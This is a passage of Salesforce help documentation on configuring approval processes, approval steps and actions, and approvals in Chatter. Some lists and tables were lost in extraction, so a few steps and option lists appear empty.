prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field
updates.
Error Messages
1835
Create
An error message displays for the user submitting an approval request for an entitlement or service contract if both these
conditions are met:
The approval process includes Record Owner as an initial submitter.
The user submitting the approval request isn't the owner of the account associated with the entitlement or service
contract.
You can't use email approval response with approval processes in which the assigned approver is a queue.
You can't assign a group or queue as a delegated approver.
When the assigned approver is a queue:
Any queue member can approve or reject an approval request that is assigned to the queue.
When an approval request is assigned to a queue, the email notification is sent to the email address for the queue.
Depending on your queue settings, an email notification is also sent to each queue member.
When an approval request is assigned to a queue, each queue member's delegated approver also receives an approval
request email notification.
When an approval request is rejected and returned to the previous approver and the previous approver was a queue, the
approval request is assigned to the user who approved it, instead of the queue.
The Approval History related list displays the queue name in the Assigned To column and the actual user who
approved or rejected the approval request in the Actual Approver column.
Note: Queues are only available on specific objects. For more information on queues, see Managing Queues on
page 595.
Limitations
Approval process merge fields can be used in email templates, but not mail merge templates.
Merge fields in the approval request email are set to the submitter's name and the name of the first step.
When the request is approved, the merge fields update to the most recent approver's name and the name of the second
step, if applicable.
1836
Create
For subsequent actions, merge field values are updated based on the previous completed step.
See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Processes Overview
Process Visualizer Overview
Examples of Approval Processes
Customize Application
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
To manage approval processes, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
Select an object from the drop-down list to create, edit, or delete approval processes for that object.
To create a new approval process, click Create New Approval Process. See Creating Approval Processes on page 1838.
To change the order of your active approval processes, change the numbers in the Process Order column and click Reorder.
Click Del next to an inactive approval process to delete it. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them from
the Recycle Bin.
Click Edit next to an approval process to change it.
Click Activate next to an inactive approval process to activate it. An approval process must have at least one step before
you can activate it.
Click Deactivate next to an active approval process to make it inactive. The approval process moves to the list of inactive
approval processes.
Select an approval process to view the details:
Click Clone to create a new approval process based on the selected approval process.
Click Deactivate to make the approval process inactive.
Click Delete to delete an inactive approval process. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them
from the Recycle Bin.
1837
Create
Click Edit and choose an option from the drop-down button to jump to the appropriate wizard page:
-
Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log
details and information about workflow rules and actions, such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.
See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Process Checklist
Managing Multiple Approval Requests
Process Visualizer Overview
Examples of Approval Processes
Customize Application
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
Before you begin, determine which wizard to use. See Choosing an Approval Process Wizard on page 1834. To create an approval
process:
1.
2.
3.
4.
5.
6.
1838
Create
Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For
example, if only employees from headquarters should use this approval process to submit expense reports, enter the following
filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter criteria, see
Entering Filter Criteria on page 2961.
1. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want all
records submitted to be included in the approval process. For information on using filter criteria, see Entering Filter
Criteria on page 2961.
Note: Select a current user field if you want to filter based on the user submitting an approval request.
2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
Select formula evaluates to true if you want a formula to determine what records enter the approval process.
1. Enter a formula that returns True or False. A record enters the approval process if the formula returns True. For
example, use the following formula to require a record to enter this approval process when the record's discount approval
cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)
2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
1839
Create
For information on using formulas, see Building Formulas on page 1147. Some functions are not available in approval process
formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on
page 1203.
Specify Approver Field and Record Editability
When you define approval steps, you can assign approval requests to different users. One option is to use a user field to
automatically route these requests. The user field can be any custom hierarchical relationship field such as Account Manager
or the Manager standard user field. To see some examples of specifying a user field as an approver field, see Examples of
Approval Processes on page 1828.
When a record is in the approval process, it is always locked; only an administrator can edit it. However, you can also allow
the currently-assigned approver to edit the record. You can still add campaign members to campaigns locked for approval.
1. From the Next Automated Approver Determined By picklist, select a user field if you want Salesforce to automatically
assign approval requests to an approver based on the value in the user field. For example, you may want approval requests
automatically routed to a user's manager as specified in the Manager standard user hierarchy field. Or, you may want
approval requests automatically routed to an associate specified in a custom Account Manager user field.
To specify a user to approve all approval requests, leave this field blank. You can select a user, or users, as the approver
when creating an approval step.
Caution: If you leave the Next Automated Approver Determined By field blank, you can't automatically
assign approval requests to the manager in any step you create for this approval process.
Optionally, select the Use Approver Field of Record Owner checkbox if you want the approval process to use
the Manager standard user field or a custom field on the record owner's user record instead of the submitter's user
record. Once you use this setting in a step, and in subsequent steps, it refers to the manager of the approver, not the
manager of the record owner.
Note: Make sure the assigned approver has access to read the records for the approval requests. For example, a
user who does not have read access to an Expenses custom object will not be able to view expense approval requests.
2. Select Administrators ONLY... if you want only users with the Modify All object-level permission for the given
object, or the Modify All Data permission, to be able to edit records that are pending approval. Select Administrators
OR... if you want the assigned approver to be able to edit the records too. The assigned approver must also have edit
access to the record through both their permissions and the organization-wide sharing defaults for the given object. When
a record is submitted for approval, it is automatically locked to prevent other users from editing it during the approval
process.
3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
Select Email or Chatter Post Notification Template
When an approval process assigns an approval request to a user, Salesforce automatically sends the user an approval request
email. The email contains a link to the approval page in Salesforce, where the user can approve or reject the request and add
comments. If email approval response is enabled, the user can alternatively reply to the email by typing approve, approved,
yes, reject, rejected, or no in the first line of the email body, and adding comments in the second line. This option is
especially useful for users who might receive approval requests on a mobile device.
Note: Approvers must have the API Enabled system permission to approve or reject approval requests via email.
1840
Create
If your organization has Approvals in Chatter enabled, you can also elect to send your approver a notification via Chatter.
Note: Chatter post approval notifications are only available for approval processes associated with an object that has
been enabled for feed tracking.
If the assigned approver has opted to receive approval notifications as Chatter posts, they'll see a post on their Chatter feed
in addition to getting the approval request email.
1. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 472.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert actionin either workflow rules or approval processesthe merge fields
will return a null value.
2. If available, choose an approval post template to use when notifying approvers via a post in their Chatter feed. If you don't
pick an approval post template, the approval post for the object uses either the system default template or, if you created
one, the default template for the object. For more information on creating approval post templates, see Creating and
Editing Approval Request Post Templates for Chatter on page 1860.
Note: Only users with access to the approval record can see the approval request post. Comments on approval
posts aren't persisted to the approval record.
3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
Configure Approval Request Page Layout
The approval page is where an approver approves or rejects a request.
1. Select the fields you want to display on the approval request page and click Add.
2. Sort the fields by selecting them and clicking Up or Down.
3. Select Display approval history information... to include the Approval History related list that lists such
fields as Date, Assigned To, Actual Approver, and Comments. To modify the fields displayed on the Approval
History related list, see Customizing Page Layouts on page 1278.
4. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
5. Choose a security setting:
Allow approvers to access the approval page only from within the application
Users can approve requests from the email notification they receive via a wireless device. Note that this prevents the
approver from selecting a Salesforce user as the next approver.
6. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
1841
Create
See Also:
Getting Started with Approval Processes
Managing Approval Processes
Managing Approval Steps
Customizing Workflow and Approval Settings
Initial Submission Actions
Final Approval Actions
Final Rejection Actions
Recall Actions
Selecting Approval Actions
Creating Approval Actions
Process Visualizer Overview
Approval Process Considerations
Examples of Approval Processes
Getting Started With Approvals in Chatter
1842
Create
Customize Application
To view the details of an approval process, go to Your Name > Setup > Create > Workflow & Approvals > Approval Processes
and click a process name.
In the header of the approval process detail page you can:
See Also:
Managing Approval Processes
1843
Create
Customize Application
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
To manage the steps for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval
Processes and then select the approval process.
The Approval Steps related list shows all the steps and actions for the approval process.
If the actions for each step are not listed, click Show Actions to display the Approval Actions and Rejection Actions related
lists. Use these related lists to:
Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow
rules that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only
available for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. See
Creating Approval Actions on page 1855.
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Process Visualizer Overview
Examples of Approval Processes
1844
Create
Customize Application
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
The actions you associate with an approval step can be reused in workflow rules. To create approval steps:
1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the name of the approval
process.
2. Click New Approval Step from the Approval Steps related list. If this button is not available, the approval process is active
and you cannot add more steps. There is a limit of 15 steps per process.
3. Enter a name, a unique name, and description for this step.
Note: The Unique Name field can contain only underscores and alphanumeric characters. It must be unique
within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain
two consecutive underscores. The unique name will be used to refer to this specific approval process step in the
Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The
requirement for uniqueness is only within a specific approval process. You can have two approval process steps
with the same unique name, provided they are defined for different approval processes.
4. Enter a step number that determines the order of this step in relation to the other steps in this approval process.
5. Click Next.
6. If only records with certain attributes should enter this step, select Enter this step if the following... and
choose one of the following options:
Select criteria are met and set the filter criteria a record must meet to enter this step. For example, if this step
should only apply to records submitted by employees from headquarters, enter the following filter criteria: Current
User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering
Filter Criteria on page 2961.
Select formula evaluates to true and enter a formula that returns a value of True or False. Records enter
this step only if the formula returnsTrue. For example, use the following formula to require a record to enter this
approval step when the record's discount percentage is greater than the most recent approver's discount threshold:
(Discount_Percentage__c > $User.Discount_Threshold__c)
For information on using formulas, see Building Formulas on page 1147. Some functions are not available in approval
step formulas. For information on which functions you can use in approval step formulas, see Operators and Functions
on page 1203.
1845
Create
7. If you specified filter criteria or entered a formula, choose what should happen to records that do not meet the criteria or
if the formula does not return True.
Note: You cant change your selection after the approval process has been activated, even if you deactivate the
approval process.
The options are:
approve record
Automatically approves the request and performs all final approval actions.
reject record
Automatically rejects the request and performs all final rejection actions. This option is only available for the first
step in the approval process.
go to next step
The go to next step option is only available when editing a step that already has an ensuing step. To
select go to next step, create an ensuing step, then select this option in the preceding step.
The go to next step option is unavailable for the final step in the approval process.
If you select go to next step in a step and delete all the ensuing steps, Salesforce automatically removes
the go to next step definition from that step and ends the process if the step criteria are not met. However,
if you select go to next step in your first step and delete all the ensuing steps, Salesforce changes the first
step to automatically reject record if the step criteria are not met.
If you select go to next step in the first step and the record does not meet the criteria for any of the steps
in the approval process, the record is rejected.
8. Click Next.
9. Specify who must approve the approval requests that enter this step. The options are:
Let the submitter choose the approver manually.
Assigns the approval request to the user in the custom field that is displayed next to this option. This custom field
was selected during the configuration of the approval process. See Creating Approval Processes on page 1838.
Automatically assign to a queue.
Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 595. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 1835.
Automatically assign to approver(s).
1846
Create
Related User
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.
Note: When specifying approvers, note the following:
Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
You can't assign approval requests to partner users.
To use email approval response:
The assigned approver cant be a queue.
Approvers must have the API Enabled system permission to approve or reject approval requests via email.
You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes
such redundancies and only requests a single approval from the user.
After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.
10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.
Require unanimous approval from all selected approvers.
The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Optionally, select The approver's delegate may also approve this request. A delegate is the user listed
in the Delegated Approver field on the assigned approver's user detail page. Delegated approvers can't reassign approval
requests; they can only approve or reject approval requests.
12. If this is not the first step in the approval process, specify what will happen if the approver rejects a request in this step:
Perform all rejection actions...
Automatically rejects the request completely regardless of any previous steps that were approved. Salesforce performs
all rejection actions specified for this step and all final rejection actions.
Perform ONLY the rejection actions for this step...
Automatically rejects the request and returns the approval request to the previous approver. Salesforce performs all
rejection actions specified for this step.
Note: If this is the first step in an approval process, the rejection behavior is determined by the Final Rejection
Actions for the approval process.
13. Click Save.
14. Specify any workflow actions you want to occur during this step:
1847
Create
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview
Examples of Approval Processes
Changing Your Approval User Preferences
Available in: Enterprise, Unlimited, and Developer Editions
The Approver Settings section of the User detail page lets you set your preferences for receiving approval request emails,
including opting not to receive them at all.
To set up or edit your Approver Settings, click Your Name > Setup > My Personal Information > Personal Information.
Click Edit on the User detail page.
In the Approver Settings section, you can:
1848
Create
Set your preference for receiving approval request emails. The options are:
See Also:
Managing Approval Steps
Creating Approval Steps
Approval Process Terminology
Creating Queues
Customize Application
Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to
lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as
email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval
status field to In Progress.
When a user submits a record for approval, Salesforce sends an approval request email to the approver as defined in the approval
step, and then executes a default initial submission action called Record Lock. You can select up to 40 additional actions to
occur when a record is initially submitted for approval, 10 of each of the following types:
Type
Description
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert
1849
Create
Type
Description
Field Update
Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message
Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage the initial submission actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes and select the approval process.
The Initial Submission Actions related list shows all the actions that take place when a record is submitted for approval.
Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview
Customize Application
Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions
can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status
to Approved and send an email notification.
1850
Create
When a record has been approved by all approvers, Salesforce executes all final approval actions. A default final approval action
called Record Lock is selected for you. You can modify it to automatically lock or unlock the record. You can select up to 40
additional actions to occur when a record is finally approved, 10 of each of the following types:
Type
Description
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert
Field Update
Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message
Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage the final approval actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes, and select the approval process.
The Final Approval Actions related list shows all the actions that take place when a record is finally approved.
Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview
1851
Create
Customize Application
Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state.
Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action
can change the status to Rejected, send an email notification, and unlock the record so that users can edit it before resubmitting.
When a record has been rejected by all approvers, Salesforce executes all final rejection actions. A default final rejection action
called Record Lock is selected for you. You can modify it to automatically lock or unlock a record. You can select up to 40
additional actions to occur when a record is rejected, 10 of each of the following types:
Type
Description
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert
Field Update
Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message
Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage the final rejection actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes and select the approval process.
The Final Rejection Actions related list shows all the actions that take place when a record is finally rejected.
Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
Configure the email alert.
Configure the field update.
Configure the outbound message.
1852
Create
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview
Recall Actions
Available in: Enterprise, Unlimited, and Developer Editions
Customize Application
Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the
record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For
example, a recall action can change the status of a request from In Progress to Not Submitted.
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators
can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records;
otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the
record is withdrawn and recall actions are run.
When a record has been recalled after submission, Salesforce executes all recall actions, including unlocking the record. You
can select up to 40 additional actions to occur when a record is recalled, 10 of each of the following types:
Type
Description
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert
Field Update
Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message
Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage recall actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval
Processes, and select the approval process.
The Recall Actions related list shows all the actions that take place when a record is recalled.
1853
Create
Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview
Customize Application
Description
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert
Field Update
Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message
Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
1854
Create
You can associate approval actions with approval steps, initial submission, final approval, final rejection, and recall. You can
also reuse these actions for workflow rules. Before you begin, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes and select the approval process you want associated with the actions.
To select an approval action:
1. Click Add Existing from the appropriate related list on the detail page of any approval process. If the Add Existing button
does not appear on an approval step, click Show Actions.
Alternatively, click Add New to create a new action and apply it to the selected approval process. For instructions on
creating actions, see Creating Approval Actions on page 1855.
2. Choose the type of action.
3. Select the action in the list of available actions and click Add to add the action to the list of selected actions.
4. Click Save.
See Also:
Workflow and Approvals Overview
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Process Visualizer Overview
Customize Application
Create approval actions to associate with approval steps, initial submission, final approval, final rejection, or recall. For example,
you may have an expense approval process in Salesforce that you want to send an outbound message to your Oracle accounting
service to print expense checks when expense approval requests are approved.
To create an approval action:
1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
2. Select the approval process you want associated with the action.
3. Click Add New from the appropriate related list. When creating actions for an approval step, click Show Actions if they
are hidden.
4. Choose the type of action. The list of available actions differs depending on your settings and whether you have reached
the limit for any type of action:
1855
Create
See Also:
Workflow and Approvals Overview
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Process Visualizer Overview
If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets
users receive approval requests as posts in their Chatter feed. You can also customize the way the approval request post displays
in Chatter by creating unique post templates and associating them with your approval processes.
Tip: To get the most out of Approvals in Chatter, we recommend taking some time to prep your organization before
turning it on. See Getting Started With Approvals in Chatter for implementation best-practices.
Users who opt out of receiving approval request posts don't see them in their own feed but can see posts in the record's feed.
Anyone with access to the approval record can see approval posts in the record feed.
1856
Create
Tip: To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in
Chatter.
See Also:
Enabling Approvals in Chatter
Approvals in Chatter Considerations
Managing Approval Request Post Templates for Chatter
Creating and Editing Approval Request Post Templates for Chatter
Enabling, Disabling, and Configuring Chatter
Customize Application
Because it relies on both Chatter and Approvals, getting your organization set up for Approvals in Chatter involves more than
just turning on the feature. To be sure that everything works correctly and that your users will see their approval requests as
Chatter posts, we recommend that you follow these steps when you're ready to turn Approvals in Chatter on for your
organization:
1. Create an approval process.
2. Make sure feed tracking is enabled for the object on which your approval process is based.
3. Create an approval post template for the object on which your approval process is based. If you want to make this the
default template for all approval processes on this object, be sure to check the Default checkbox when configuring your
post template.
4. Repeat steps 1 3 for all approval processes in your organization, as needed.
5. Enable Approvals in Chatter. Waiting to do this as the last step ensures that all approval processes in your organization
are properly configured to take advantage of it. After turning it on, all existing active approval processes will start generating
Chatter posts.
Note: You can create custom post templates for one or more approval processes, but you can only associate custom
post templates with approval processes after enabling Approvals in Chatter.
See Also:
About Approvals in Chatter
Approvals in Chatter Considerations
Viewing Approval Request Post Templates
Enabling, Disabling, and Configuring Chatter
1857
Create
Customize Application
If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets
users receive approval requests as posts in their Chatter feed.
1. Click Your Name > Setup > Customize > Chatter > Settings.
2. Click Edit.
3. Select Allow Approvals.
Users can enable or disable approval request posts for themselves. Users who opt out of receiving approval request posts don't
see them in their own feed but can see posts in the record's feed. Anyone with access to the approval record can see approval
posts in the record feed. Users who elect to receive approval requests via Chatter receive both an email notification and a post
in their Chatter feed.
See Also:
About Approvals in Chatter
Approvals in Chatter Considerations
Getting Started With Approvals in Chatter
Creating and Editing Approval Request Post Templates for Chatter
Enabling, Disabling, and Configuring Chatter
After Approvals in Chatter is enabled in your organization, it is turned on for all users. Users can then opt out for themselves
in their Chatter feed settings.
Users who elect to receive approval requests via Chatter receive both an email notification and a post in their Chatter feed.
To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in Chatter.
Different users see different configurations of the approval request post:
Only approvers see approval action buttons on their posts, and then only in their profile feed or their news feed.
Only approvers see approver names in the header.
If a step requires unanimous approval from multiple approvers, the approval request post for that step doesn't list all selected
approvers in its header. Approvers see only their own name in the post header.
1858
Create
When an approval request is recalled, a new post is generated. It appears on the news feeds of the submitter, all approvers
and followers of the object, as well as on the record feed.
If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval
page layouts or approval post templates.
If you change the approver, step name, or the routing type on an approval process while it's in progress, existing approval
posts aren't updated.
If you are an assigned approver and you opt out of receiving approval requests as posts while an approval is in progress,
and you're not following the approval record, you won't see any new notification posts after opting out. However, if you
are following the approval record, after opting out you will see approval posts from the record with non-approver content.
Any approval notification posts you received prior to opting out are updated to show non-approver content, and the
approve/reject buttons disappear from any existing posts in your feed.
Approvals in Chatter works normally for approvals on Products, with one exception: If the product isn't active and the
approver also doesn't have edit access to Products, approval post notifications for that product won't show up in the
approver's feeds. The approver can only see approval posts in the product records feed.
Limitations
See Also:
About Approvals in Chatter
Getting Started With Approvals in Chatter
Enabling Approvals in Chatter
If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets
users receive approval requests as posts in their Chatter feed. With approval post templates for Chatter, you can customize
the information that is included in the approval request post when it displays in a Chatter feed.
Note: Only users with access to the approval record can see the approval request post. Comments on approval posts
aren't persisted to the approval record.
To manage your custom approval post templates, click Your Name > Setup > Create > Workflow & Approvals > Post
Templates.
From the template list page, you can:
1859
Create
Note: You can't delete a post template if it's in use by an approval process.
Keep these issues in mind when working with approval post templates:
You can set a post template as the default template for an object by clicking Edit from the templates detail page.
You can only create an approval post template for an object that is both enabled for approvals and supported for Chatter
feed tracking. You can't associate a post template to an approval process unless feed tracking for the object has been turned
on.
Deleting a custom field from a standard object removes the custom field from any post template that refers to that object.
Existing posts using the template aren't affected. Undeleting the custom field restores it to the available fields list and to
any post templates that contained it previously.
Deleting a custom field from a custom object removes the custom field from any post template that refers to that object.
Undeleting the custom field in this case restores it to the available fields list, but does not restore it to the post templates
that contained it previously.
Hard deleting a custom object removes all post templates related to it. Soft deleting a custom object makes related post
templates invisible on the template list page. Existing posts using affected templates aren't changed. Undeleting the custom
object restores the post templates associated with it.
If you rename a custom object, post templates associated with it update accordingly.
See Also:
About Approvals in Chatter
Getting Started With Approvals in Chatter
Creating Approval Processes
Managing Deleted Custom Fields
Customize Application
With approval post templates for Chatter, you can customize what information gets included in the approval request post
when it displays in a Chatter feed.
1.
2.
3.
4.
5.
6.
Click Your Name > Setup > Create > Workflow & Approvals > Post Templates.
Click New Template.
Select the object for your template.
Click Next.
Enter a template name.
Optionally, change the template's unique name.
1860
Create
7. Enter a description.
8. Select the checkbox to make this the default template for the associated object.
9. Select up to four fields to display on the approval request post and click Add.
10. Sort the fields by selecting them and clicking Up or Down.
11. Click Save.
Note: You can only create an approval post template for an object that is both enabled for approvals and supported
for Chatter feed tracking. You can't associate a post template to an approval process unless feed tracking for the object
has been turned on.
You can edit an approval post template in two ways. First go to Your Name > Setup > Create > Workflow & Approvals >
Post Templates.
See Also:
Managing Approval Request Post Templates for Chatter
Viewing Approval Request Post Templates
About Approvals in Chatter
Getting Started With Approvals in Chatter
Customize Application
To view approval post request template details, go to Your Name > Setup > Create > Workflow & Approvals > Post
Templates, then click the name of a template. From this page, you can:
View template details, such as its object, name, description, and any object fields included.
See whether this template is set as the default for the associated object. Click Edit to set the template as the object's custom
default template.
Edit, delete, or clone the template.
Note: You can't delete a post template if it's in use by an approval process.
1861
Create
Customize Application
The Approval Process Jump Start Wizard helps you create a simple one-step approval process in just a few clicks. However,
to make your process as functional and complete as possible, there are a few things you should do first:
1. If you would like to automate approval routing, you can use the standard manager field, or create a custom hierarchy field
on the user object.
2. Create an email template to notify an approver that they need to approve or reject a step in an approval process. Remember
to add approval merge fields so an approver can go to the approval page directly from the email. If your organization has
enabled email approval response, be sure the email template you use describes how to correctly use both response options:
clicking the link and replying by email. For information on email templates, see Managing Email Templates on page 472.
For information on email approval response, see Customizing Workflow and Approval Settings on page 1788.
3. Create an email template as confirmation to a record owner that a step of theirs in the approval process has been approved
or rejected.
4. Create the workflow actions you want to occur while a record is in the process of being approved. For more information,
see Workflow and Approvals Overview on page 1775.
Design your approval process quickly using the jump start wizard. It automates the process of creating an approval process by
choosing some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval
Process Jump Start Default Selections on page 1865.
To use the jump start wizard to create an approval process:
1.
2.
3.
4.
5.
Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
Choose the object for the new approval process.
Click Create New Approval Process and choose Use Jump Start Wizard from the drop-down button.
Enter a name for the new approval process.
Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the
selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.
6. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 472.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
1862
Create
